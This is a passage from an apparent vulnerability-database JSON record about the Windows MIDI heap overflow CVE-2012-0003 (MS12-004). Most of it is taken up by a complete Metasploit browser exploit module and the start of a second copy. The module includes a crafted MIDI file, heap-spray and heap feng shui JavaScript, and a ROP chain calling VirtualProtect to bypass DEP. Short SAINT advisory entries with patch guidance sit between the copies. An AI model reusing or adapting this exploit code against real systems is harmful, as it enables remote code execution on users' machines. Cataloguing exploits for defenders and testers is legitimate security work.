ms11_050_mshtml_cobjectelement.rb (generated by mona)\r\n\t# Added a little of roping to adjust the stack pivoting for this case\r\n\t# Specific for IE8 XP SP3 case at this time\r\n\tdef create_rop_chain(my_target)\r\n\r\n\t\trop_gadgets =\r\n\t\t[\r\n\t\t\t0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]\r\n\t\t\tmy_target['StackPivot'], # stackpivot\r\n\t\t\tjunk, # padding\r\n\t\t\t0x7c376402, # POP EBP # RETN [msvcr71.dll]\r\n\t\t\t0x7c376402, # skip 4 bytes [msvcr71.dll]\r\n\t\t\t0x7c347f97, # POP EAX # RETN [msvcr71.dll]\r\n\t\t\t0xfffff800, # Value to negate, will become 0x00000201 (dwSize)\r\n\t\t\t0x7c351e05, # NEG EAX # RETN [msvcr71.dll]\r\n\t\t\t0x7c354901, # POP EBX # RETN [msvcr71.dll]\r\n\t\t\t0xffffffff,\r\n\t\t\t0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]\r\n\t\t\t0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]\r\n\t\t\t0x7c344f87, # POP EDX # RETN [msvcr71.dll]\r\n\t\t\t0xffffffc0, # Value to negate, will become 0x00000040\r\n\t\t\t0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]\r\n\t\t\t0x7c34d201, # POP ECX # RETN [msvcr71.dll]\r\n\t\t\t0x7c38b001, # &Writable location [msvcr71.dll]\r\n\t\t\t0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]\r\n\t\t\t0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]\r\n\t\t\t0x7c364802, # POP ESI # RETN [msvcr71.dll]\r\n\t\t\t0x7c3415a2, # JMP [EAX] [msvcr71.dll]\r\n\t\t\t0x7c347f97, # POP EAX # RETN [msvcr71.dll]\r\n\t\t\t0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]\r\n\t\t\t0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]\r\n\t\t\t0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]\r\n\t\t].flatten.pack('V*')\r\n\r\n\t\treturn rop_gadgets\r\n\tend\r\n\r\n\r\nend\r\n\n ", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-72533"}, {"lastseen": "2017-11-19T17:55:38", "description": "No description provided by source.", "published": "2012-01-29T00:00:00", "type": "seebug", "title": "midiOutPlayNextPolyEvent Heap Overflow(MS12-004)", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "modified": "2012-01-29T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-30051", "id": "SSV:30051", "sourceData": "\n ##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\nrequire 'msf/core'\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = NormalRanking\r\n include Msf::Exploit::Remote::HttpServer::HTML\r\n def initialize(info={})\r\n super(update_info(info,\r\n 'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",\r\n 'Description' => %q{\r\n This module exploits a heap overflow vulnerability in the Windows Multimedia\r\n Library (winmm.dll). The vulnerability occurs when parsing specially crafted\r\n MIDI files. Remote code execution can be achieved by using Windows Media Player's\r\n ActiveX control.\r\n Exploitation is done by supplying a specially crafted MIDI file with\r\n specific events, causing the offset calculation being higher than how much is\r\n available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing\r\n us to either "inc al" or "dec al" a byte. This can be used to corrupt an array\r\n (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,\r\n which leverages remote code execution under the context of the user.\r\n At this time, for IE 8 target, JRE (Java Runtime Environment) is required\r\n to bypass DEP (Data Execution Prevention).\r\n Note: Based on our testing, the vulnerability does not seem to trigger when\r\n the victim machine is operated via rdesktop.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Shane Garrett', #Initial discovery (IBM X-Force)\r\n 'juan vazquez',\r\n 'sinn3r',\r\n ],\r\n 'References' =>\r\n [\r\n [ 'MSB', 'MS12-004'],\r\n [ 'CVE', '2012-0003' ],\r\n [ 'OSVDB', '78210'],\r\n [ 'BID', '51292'],\r\n [ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],\r\n ],\r\n 'Payload' =>\r\n {\r\n 'Space' => 1024,\r\n },\r\n 'DefaultOptions' =>\r\n {\r\n 'EXITFUNC' => "process",\r\n 'InitialAutoRunScript' => 'migrate -f',\r\n },\r\n 'Platform' => 'win',\r\n 'Targets' =>\r\n [\r\n [ 'Automatic', {} ],\r\n [\r\n 'IE 6 on Windows XP SP3',\r\n {\r\n 'Rop' => false,\r\n 'DispatchDst' => 0x0c0c0c0c\r\n }\r\n ],\r\n [\r\n 'IE 7 on Windows XP SP3',\r\n {\r\n 'Rop' => false,\r\n 'DispatchDst' => 0x0c0c0c0c\r\n }\r\n ],\r\n [\r\n 'IE 8 on Windows XP SP3',\r\n {\r\n # xchg ecx,esp\r\n # or byte ptr [eax],al\r\n # add byte ptr [edi+5Eh],bl\r\n # ret 8\r\n # From IMAGEHLP\r\n 'Rop' => true,\r\n 'StackPivot' => 0x76C9B4C2,\r\n 'DispatchDst' => 0x0c0c1be4\r\n }\r\n ],\r\n ],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => "Jan 10 2012",\r\n 'DefaultTarget' => 0))\r\n register_options(\r\n [\r\n OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\r\n ], self.class)\r\n end\r\n def get_target(request)\r\n agent = request.headers['User-Agent']\r\n vprint_status("Request from: #{agent}")\r\n if agent =~ /NT 5\\.1/ and agent =~ /MSIE 6\\.0/\r\n #Windows XP SP3 + IE 6.0\r\n return targets[1]\r\n elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7\\.0/\r\n #Windows XP SP3 + IE 7.0\r\n return targets[2]\r\n elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 8\\.0/\r\n #Windows XP SP3 + IE 8.0 + JRE6\r\n return targets[3]\r\n else\r\n return nil\r\n end\r\n end\r\n def get_midi\r\n # MIDI Fileformat Reference:\r\n # http://www.sonicspot.com/guide/midifiles.html\r\n #\r\n # Event Types:\r\n # 0x08 = Note Off (when MIDI key is released)\r\n # 0x09 = Note On (when MIDI key is pressed)\r\n # 0x0A = Note aftertouch (pressure change on the pressed MIDI key)\r\n # 0x0B = Controller Event (MIDI channels state)\r\n # 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)\r\n # 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)\r\n # 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)\r\n # 0x0F = Meta Events (not sent or received over a midi port)\r\n # Structure:\r\n # [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)\r\n # Problem:\r\n # Windows Media Player fails to manage Note On and Note Off Events\r\n # Track Chunk Data\r\n tc = "\\x00\\xFF\\x03\\x0D\\x44\\x72\\x75\\x6D"\r\n # Meta Event - Sequence/Track Name\r\n tc << "\\x73\\x20\\x20\\x20\\x28\\x42\\x42\\x29\\x00"\r\n # Midi Channel Event - Program Change\r\n tc << "\\x00\\xC9\\x28"\r\n # Midi Channel Event - Controller\r\n tc << "\\x00\\xB9\\x07\\x64"\r\n # Midi Channel Event - Controller\r\n tc << "\\x00\\xB9\\x0A\\x40"\r\n # Midi Channel Event - Controller\r\n tc << "\\x00\\xB9\\x7B\\x00"\r\n # Midi Channel Event - Controller\r\n tc << "\\x00\\xB9\\x5B\\x28"\r\n # Midi Channel Event - Controller\r\n tc << "\\x00\\xB9\\x5D\\x00"\r\n # Midi Channel Event - Note On\r\n tc << "\\x85\\x50\\x99\\x23\\x7F"\r\n # Corruption events\r\n # Midi Channel Event - Note On\r\n tc << "\\x00\\x9F\\xb2\\x73"\r\n # Ends Corruption events\r\n # Meta Event - End Of Track\r\n tc << "\\x00\\xFF\\x2F\\x00"\r\n m = ''\r\n # HEADERCHUNK Header\r\n m << "MThd" # Header\r\n m << "\\x00\\x00\\x00\\x06" # Chunk size\r\n m << "\\x00\\x00" # Format Type\r\n m << "\\x00\\x01" # Number of tracks\r\n m << "\\x00\\x60" # Time division\r\n # TRACKCHUNK header\r\n m << "MTrk" # Header\r\n m << [tc.length].pack('N')\r\n m << tc\r\n midi_name = "test_case.mid"\r\n return midi_name, m\r\n end\r\n def on_request_uri(cli, request)\r\n if request.uri =~ /\\.mid$/i\r\n print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")\r\n send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})\r\n return\r\n end\r\n #Set default target\r\n my_target = target\r\n #If user chooses automatic target, we choose one based on user agent\r\n if my_target.name =~ /Automatic/\r\n my_target = get_target(request)\r\n if my_target.nil?\r\n send_not_found(cli)\r\n print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")\r\n return\r\n end\r\n vprint_status("Target selected: #{my_target.name}")\r\n end\r\n midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource\r\n midi_uri << "/#{@m_name}"\r\n spray = build_spray(my_target)\r\n if datastore['OBFUSCATE']\r\n spray = ::Rex::Exploitation::JSObfu.new(spray)\r\n spray.obfuscate\r\n end\r\n trigger = build_trigger(my_target)\r\n trigger_fn = "trigger"\r\n if datastore['OBFUSCATE']\r\n trigger = ::Rex::Exploitation::JSObfu.new(trigger)\r\n trigger.obfuscate\r\n trigger_fn = find_trigger_fn(trigger.to_s)\r\n end\r\n html = %Q|\r\n <html>\r\n <head>\r\n <script language='javascript'>\r\n #{spray}\r\n </script>\r\n <script language='javascript'>\r\n #{trigger}\r\n </script>\r\n <script for=audio event=PlayStateChange(oldState,newState)>\r\n if (oldState == 3 && newState == 0) {\r\n #{trigger_fn}();\r\n }\r\n </script>\r\n </head>\r\n <body>\r\n <object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">\r\n <param name="fileName" value="#{midi_uri}">\r\n <param name="SendPlayStateChangeEvents" value="true">\r\n <param NAME="AutoStart" value="True">\r\n <param name="uiMode" value="mini">\r\n <param name="Volume" value="-300">\r\n </object>\r\n </body>\r\n </html>\r\n |\r\n html = html.gsub(/^\\t\\t/, '')\r\n print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")\r\n send_response(cli, html, {'Content-Type'=>'text/html'})\r\n end\r\n def exploit\r\n @m_name, @midi = get_midi\r\n super\r\n end\r\n def build_spray(my_target)\r\n # Extract string based on target\r\n if my_target.name == 'IE 8 on Windows XP SP3'\r\n js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"\r\n else\r\n js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"\r\n end\r\n # Build shellcode based on Rop requirement\r\n if my_target['Rop']\r\n code = create_rop_chain(my_target)\r\n code << payload.encoded\r\n shellcode = Rex::Text.to_unescape(code)\r\n else\r\n code = payload.encoded\r\n shellcode = Rex::Text.to_unescape(code)\r\n end\r\n # 1. Create big block of nops\r\n # 2. Compose one block which is nops + shellcode\r\n # 3. Repeat the block\r\n # 4. Extract string from the big block\r\n # 5. Spray\r\n spray = <<-JS\r\n var heap_obj = new heapLib.ie(0x10000);\r\n var code = unescape("#{shellcode}");\r\n var nops = unescape("%u0c0c%u0c0c");\r\n while (nops.length < 0x1000) nops+= nops;\r\n var shellcode = nops.substring(0,0x800 - code.length) + code;\r\n while (shellcode.length < 0x40000) shellcode += shellcode;\r\n #{js_extract_str}\r\n heap_obj.gc();\r\n for (var i=0; i < 600; i++) {\r\n heap_obj.alloc(block);\r\n }\r\n JS\r\n spray = heaplib(spray, {:noobfu => true})\r\n return spray\r\n end\r\n # Build the JavaScript string for the attributes\r\n def build_element(element_name, my_target)\r\n dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))\r\n element = ''\r\n if my_target.name =~ /IE 8/\r\n max = 63 # Number of attributes for IE 8\r\n index = 1 # Where we want to confuse the type\r\n else\r\n max = 55 # Number of attributes for before IE 8\r\n index = 0 # Where we want to confuse the type\r\n end\r\n element << "var #{element_name} = document.createElement(\\"select\\")" + "\\n"\r\n # Build attributes\r\n 0.upto(max) do |i|\r\n obj = (i==index) ? "unescape(\\"#{dst}\\")" : "alert"\r\n element << "#{element_name}.w#{i.to_s} = #{obj}" + "\\n"\r\n end\r\n return element\r\n end\r\n # Feng Shui and triggering Steps:\r\n # 1. Run the garbage collector before allocations\r\n # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)\r\n # 3. Make holes\r\n # 4. Let windows media play the crafted midi file and corrupt the heap\r\n # 5. Force the using of the confused tagVARIANT.\r\n def build_trigger(my_target)\r\n if my_target.name == 'IE 8 on Windows XP SP3'\r\n # Redoing the feng shui if fails makes it reliable\r\n js_trigger = <<-JSTRIGGER\r\n function trigger(){\r\n var k = 999;\r\n while (k > 0) {\r\n if (typeof(clones[k].w1) == "string") {\r\n } else {\r\n clones[k].w1('come on!');\r\n }\r\n k = k - 2;\r\n }\r\n feng_shui();\r\n document.audio.Play();\r\n }\r\n JSTRIGGER\r\n select_element = build_element('selob', my_target)\r\n else\r\n js_trigger = <<-JSTRIGGER\r\n function trigger(){\r\n var k = 999;\r\n while (k > 0) {\r\n if (typeof(clones[k].w0) == "string") {\r\n } else {\r\n clones[k].w0('come on!');\r\n }\r\n k = k - 2;\r\n }\r\n feng_shui();\r\n document.audio.Play();\r\n }\r\n JSTRIGGER\r\n select_element = build_element('selob', my_target)\r\n end\r\n trigger = <<-JS\r\n var heap = new heapLib.ie();\r\n #{select_element}\r\n var clones=new Array(1000);\r\n function feng_shui() {\r\n heap.gc();\r\n var i = 0;\r\n while (i < 1000) {\r\n clones[i] = selob.cloneNode(true)\r\n i = i + 1;\r\n }\r\n var j = 0;\r\n while (j < 1000) {\r\n delete clones[j];\r\n CollectGarbage();\r\n j = j + 2;\r\n }\r\n }\r\n feng_shui();\r\n #{js_trigger}\r\n JS\r\n trigger = heaplib(trigger, {:noobfu => true})\r\n return trigger\r\n end\r\n def find_trigger_fn(trigger)\r\n fns = trigger.scan(/function ([a-zA-Z0-9_]+)\\(\\)/)\r\n if fns.nil? or fns.empty?\r\n return "trigger"\r\n else\r\n return fns.last.first\r\n end\r\n return "trigger"\r\n end\r\n def junk(n=1)\r\n tmp = []\r\n value = rand_text(4).unpack("L")[0].to_i\r\n n.times { tmp << value }\r\n return tmp\r\n end\r\n # ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)\r\n # Added a little of roping to adjust the stack pivoting for this case\r\n # Specific for IE8 XP SP3 case at this time\r\n def create_rop_chain(my_target)\r\n rop_gadgets =\r\n [\r\n 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]\r\n my_target['StackPivot'], # stackpivot\r\n junk, # padding\r\n 0x7c376402, # POP EBP # RETN [msvcr71.dll]\r\n 0x7c376402, # skip 4 bytes [msvcr71.dll]\r\n 0x7c347f97, # POP EAX # RETN [msvcr71.dll]\r\n 0xfffff800, # Value to negate, will become 0x00000201 (dwSize)\r\n 0x7c351e05, # NEG EAX # RETN [msvcr71.dll]\r\n 0x7c354901, # POP EBX # RETN [msvcr71.dll]\r\n 0xffffffff,\r\n 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]\r\n 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]\r\n 0x7c344f87, # POP EDX # RETN [msvcr71.dll]\r\n 0xffffffc0, # Value to negate, will become 0x00000040\r\n 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]\r\n 0x7c34d201, # POP ECX # RETN [msvcr71.dll]\r\n 0x7c38b001, # &Writable location [msvcr71.dll]\r\n 0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]\r\n 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]\r\n 0x7c364802, # POP ESI # RETN [msvcr71.dll]\r\n 0x7c3415a2, # JMP [EAX] [msvcr71.dll]\r\n 0x7c347f97, # POP EAX # RETN [msvcr71.dll]\r\n 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]\r\n 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]\r\n 0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]\r\n ].flatten.pack('V*')\r\n return rop_gadgets\r\n end\r\nend\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-30051", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "saint": [{"lastseen": "2019-06-04T23:19:35", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "description": "Added: 02/06/2012 \nCVE: [CVE-2012-0003](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0003>) \nBID: [51292](<http://www.securityfocus.com/bid/51292>) \nOSVDB: [78210](<http://www.osvdb.org/78210>) \n\n\n### Background\n\nMusical Instrument Digital Interface (MIDI) is an industry specification for encoding, storing, synchronizing, and transmitting the musical performance and control data of electronic musical instruments and other electronic equipment. Microsoft Windows supports the playback of MIDI files through the DirectShow and Windows Multimedia Libraries. \n\n### Problem\n\nMicrosoft DirectShow and Windows Multimedia Library improperly validate the channel field in MIDI files, causing the libraries to be vulnerable to memory corruption. If an attacker were to successfully convince a user into opening a specially formatted MIDI file, the attack could gain execution control of the user's system. \n\n### Resolution\n\nApply the KB specified for your system in [Microsoft Security Bulletin MS12-004](<http://technet.microsoft.com/en-us/security/bulletin/ms12-004>). \n\n### References\n\n<http://technet.microsoft.com/en-us/security/bulletin/ms12-004> \n<http://threatpost.com/en_us/blogs/attackers-targeting-windows-media-bug-malware-012712> \n\n\n### Limitations\n\nThis exploit has been tested against Microsoft Internet Explorer 8 with KB2618444 on Windows XP SP3 English (DEP OptIn) and Windows Vista SP2 (DEP OptIn), and Microsoft Internet Explorer 9 with KB2618444 on Windows Vista SP2 (DEP OptIn). \n\n### Platforms\n\nWindows XP \nWindows Vista \n \n\n", "edition": 4, "modified": "2012-02-06T00:00:00", "published": "2012-02-06T00:00:00", "id": "SAINT:7A46096CBB70B473498CA6702F7AF236", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/windows_media_midi_invalid_channel", "title": "Windows Media MIDI Invalid Channel", "type": "saint", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T19:19:32", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "edition": 2, "description": "Added: 02/06/2012 \nCVE: [CVE-2012-0003](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0003>) \nBID: [51292](<http://www.securityfocus.com/bid/51292>) \nOSVDB: [78210](<http://www.osvdb.org/78210>) \n\n\n### Background\n\nMusical Instrument Digital Interface (MIDI) is an industry specification for encoding, storing, synchronizing, and transmitting the musical performance and control data of electronic musical instruments and other electronic equipment. Microsoft Windows supports the playback of MIDI files through the DirectShow and Windows Multimedia Libraries. \n\n### Problem\n\nMicrosoft DirectShow and Windows Multimedia Library improperly validate the channel field in MIDI files, causing the libraries to be vulnerable to memory corruption. If an attacker were to successfully convince a user into opening a specially formatted MIDI file, the attack could gain execution control of the user's system. \n\n### Resolution\n\nApply the KB specified for your system in [Microsoft Security Bulletin MS12-004](<http://technet.microsoft.com/en-us/security/bulletin/ms12-004>). \n\n### References\n\n<http://technet.microsoft.com/en-us/security/bulletin/ms12-004> \n<http://threatpost.com/en_us/blogs/attackers-targeting-windows-media-bug-malware-012712> \n\n\n### Limitations\n\nThis exploit has been tested against Microsoft Internet Explorer 8 with KB2618444 on Windows XP SP3 English (DEP OptIn) and Windows Vista SP2 (DEP OptIn), and Microsoft Internet Explorer 9 with KB2618444 on Windows Vista SP2 (DEP OptIn). \n\n### Platforms\n\nWindows XP \nWindows Vista \n \n\n", "modified": "2012-02-06T00:00:00", "published": "2012-02-06T00:00:00", "id": "SAINT:D0F2840F85EAD7B5D4AFC6F1F60354AD", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/windows_media_midi_invalid_channel", "type": "saint", "title": "Windows Media MIDI Invalid Channel", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2016-10-03T15:01:53", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "description": "Added: 02/06/2012 \nCVE: [CVE-2012-0003](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0003>) \nBID: [51292](<http://www.securityfocus.com/bid/51292>) \nOSVDB: [78210](<http://www.osvdb.org/78210>) \n\n\n### Background\n\nMusical Instrument Digital Interface (MIDI) is an industry specification for encoding, storing, synchronizing, and transmitting the musical performance and control data of electronic musical instruments and other electronic equipment. Microsoft Windows supports the playback of MIDI files through the DirectShow and Windows Multimedia Libraries. \n\n### Problem\n\nMicrosoft DirectShow and Windows Multimedia Library improperly validate the channel field in MIDI files, causing the libraries to be vulnerable to memory corruption. If an attacker were to successfully convince a user into opening a specially formatted MIDI file, the attack could gain execution control of the user's system. \n\n### Resolution\n\nApply the KB specified for your system in [Microsoft Security Bulletin MS12-004](<http://technet.microsoft.com/en-us/security/bulletin/ms12-004>). \n\n### References\n\n<http://technet.microsoft.com/en-us/security/bulletin/ms12-004> \n<http://threatpost.com/en_us/blogs/attackers-targeting-windows-media-bug-malware-012712> \n\n\n### Limitations\n\nThis exploit has been tested against Microsoft Internet Explorer 8 with KB2618444 on Windows XP SP3 English (DEP OptIn) and Windows Vista SP2 (DEP OptIn), and Microsoft Internet Explorer 9 with KB2618444 on Windows Vista SP2 (DEP OptIn). \n\n### Platforms\n\nWindows XP \nWindows Vista \n \n\n", "edition": 1, "modified": "2012-02-06T00:00:00", "published": "2012-02-06T00:00:00", "id": "SAINT:82A19DE1F0A3BAD1EAB2AC09170E8E22", "href": "http://www.saintcorporation.com/cgi-bin/exploit_info/windows_media_midi_invalid_channel", "type": "saint", "title": "Windows Media MIDI Invalid Channel", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "packetstorm": [{"lastseen": "2016-12-05T22:16:19", "description": "", "published": "2012-01-28T00:00:00", "type": "packetstorm", "title": "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "modified": "2012-01-28T00:00:00", "id": "PACKETSTORM:109176", "href": "https://packetstormsecurity.com/files/109176/MS12-004-midiOutPlayNextPolyEvent-Heap-Overflow.html", "sourceData": "`## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# Framework web site for more information on licensing and terms of use. \n# http://metasploit.com/framework/ \n## \n \nrequire 'msf/core' \n \nclass Metasploit3 < Msf::Exploit::Remote \nRank = NormalRanking \n \ninclude Msf::Exploit::Remote::HttpServer::HTML \n \ndef initialize(info={}) \nsuper(update_info(info, \n'Name' => \"MS12-004 midiOutPlayNextPolyEvent Heap Overflow\", \n'Description' => %q{ \nThis module exploits a heap overflow vulnerability in the Windows Multimedia \nLibrary (winmm.dll). The vulnerability occurs when parsing specially crafted \nMIDI files. Remote code execution can be achieved by using Windows Media Player's \nActiveX control. \n \nExploitation is done by supplying a specially crafted MIDI file with \nspecific events, causing the offset calculation being higher than how much is \navailable on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing \nus to either \"inc al\" or \"dec al\" a byte. This can be used to corrupt an array \n(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, \nwhich leverages remote code execution under the context of the user. \n \nAt this time, for IE 8 target, JRE (Java Runtime Environment) is required \nto bypass DEP (Data Execution Prevention). \n \nNote: Based on our testing, the vulnerability does not seem to trigger when \nthe victim machine is operated via rdesktop. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Shane Garrett', #Initial discovery (IBM X-Force) \n'juan vazquez', \n'sinn3r', \n], \n'References' => \n[ \n[ 'MSB', 'MS12-004'], \n[ 'CVE', '2012-0003' ], \n[ 'OSVDB', '78210'], \n[ 'BID', '51292'], \n[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ], \n], \n'Payload' => \n{ \n'Space' => 1024, \n}, \n'DefaultOptions' => \n{ \n'EXITFUNC' => \"process\", \n'InitialAutoRunScript' => 'migrate -f', \n}, \n'Platform' => 'win', \n'Targets' => \n[ \n[ 'Automatic', {} ], \n[ \n'IE 6 on Windows XP SP3', \n{ \n'Rop' => false, \n'DispatchDst' => 0x0c0c0c0c \n} \n], \n[ \n'IE 7 on Windows XP SP3', \n{ \n'Rop' => false, \n'DispatchDst' => 0x0c0c0c0c \n} \n], \n[ \n'IE 8 on Windows XP SP3', \n{ \n# xchg ecx,esp \n# or byte ptr [eax],al \n# add byte ptr [edi+5Eh],bl \n# ret 8 \n# From IMAGEHLP \n'Rop' => true, \n'StackPivot' => 0x76C9B4C2, \n'DispatchDst' => 0x0c0c1be4 \n} \n], \n], \n'Privileged' => false, \n'DisclosureDate' => \"Jan 10 2012\", \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) \n], self.class) \n \nend \n \ndef get_target(request) \nagent = request.headers['User-Agent'] \nvprint_status(\"Request from: #{agent}\") \n \nif agent =~ /NT 5\\.1/ and agent =~ /MSIE 6\\.0/ \n#Windows XP SP3 + IE 6.0 \nreturn targets[1] \nelsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7\\.0/ \n#Windows XP SP3 + IE 7.0 \nreturn targets[2] \nelsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 8\\.0/ \n#Windows XP SP3 + IE 8.0 + JRE6 \nreturn targets[3] \nelse \nreturn nil \nend \nend \n \ndef get_midi \n# MIDI Fileformat Reference: \n# http://www.sonicspot.com/guide/midifiles.html \n# \n# Event Types: \n# 0x08 = Note Off (when MIDI key is released) \n# 0x09 = Note On (when MIDI key is pressed) \n# 0x0A = Note aftertouch (pressure change on the pressed MIDI key) \n# 0x0B = Controller Event (MIDI channels state) \n# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel) \n# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel) \n# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value) \n# 0x0F = Meta Events (not sent or received over a midi port) \n \n# Structure: \n# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event) \n# Problem: \n# Windows Media Player fails to manage Note On and Note Off Events \n \n# Track Chunk Data \ntc = \"\\x00\\xFF\\x03\\x0D\\x44\\x72\\x75\\x6D\" \n# Meta Event - Sequence/Track Name \ntc << \"\\x73\\x20\\x20\\x20\\x28\\x42\\x42\\x29\\x00\" \n# Midi Channel Event - Program Change \ntc << \"\\x00\\xC9\\x28\" \n# Midi Channel Event - Controller \ntc << \"\\x00\\xB9\\x07\\x64\" \n# Midi Channel Event - Controller \ntc << \"\\x00\\xB9\\x0A\\x40\" \n# Midi Channel Event - Controller \ntc << \"\\x00\\xB9\\x7B\\x00\" \n# Midi Channel Event - Controller \ntc << \"\\x00\\xB9\\x5B\\x28\" \n# Midi Channel Event - Controller \ntc << \"\\x00\\xB9\\x5D\\x00\" \n# Midi Channel Event - Note On \ntc << \"\\x85\\x50\\x99\\x23\\x7F\" \n \n# Corruption events \n# Midi Channel Event - Note On \ntc << \"\\x00\\x9F\\xb2\\x73\" \n# Ends Corruption events \n \n# Meta Event - End Of Track \ntc << \"\\x00\\xFF\\x2F\\x00\" \nm = '' \n# HEADERCHUNK Header \nm << \"MThd\" # Header \nm << \"\\x00\\x00\\x00\\x06\" # Chunk size \nm << \"\\x00\\x00\" # Format Type \nm << \"\\x00\\x01\" # Number of tracks \nm << \"\\x00\\x60\" # Time division \n# TRACKCHUNK header \nm << \"MTrk\" # Header \nm << [tc.length].pack('N') \nm << tc \n \nmidi_name = \"test_case.mid\" \n \nreturn midi_name, m \nend \n \ndef on_request_uri(cli, request) \n \nif request.uri =~ /\\.mid$/i \nprint_status(\"Sending midi file to #{cli.peerhost}:#{cli.peerport}...\") \nsend_response(cli, @midi, {'Content-Type'=>'application/octet-strem'}) \nreturn \nend \n \n#Set default target \nmy_target = target \n \n#If user chooses automatic target, we choose one based on user agent \nif my_target.name =~ /Automatic/ \nmy_target = get_target(request) \nif my_target.nil? \nsend_not_found(cli) \nprint_error(\"#{cli.peerhost}:#{cli.peerport} Unknown user-agent\") \nreturn \nend \nvprint_status(\"Target selected: #{my_target.name}\") \nend \n \nmidi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource \nmidi_uri << \"/#{@m_name}\" \n \nspray = build_spray(my_target) \n \nif datastore['OBFUSCATE'] \nspray = ::Rex::Exploitation::JSObfu.new(spray) \nspray.obfuscate \nend \n \ntrigger = build_trigger(my_target) \ntrigger_fn = \"trigger\" \n \nif datastore['OBFUSCATE'] \ntrigger = ::Rex::Exploitation::JSObfu.new(trigger) 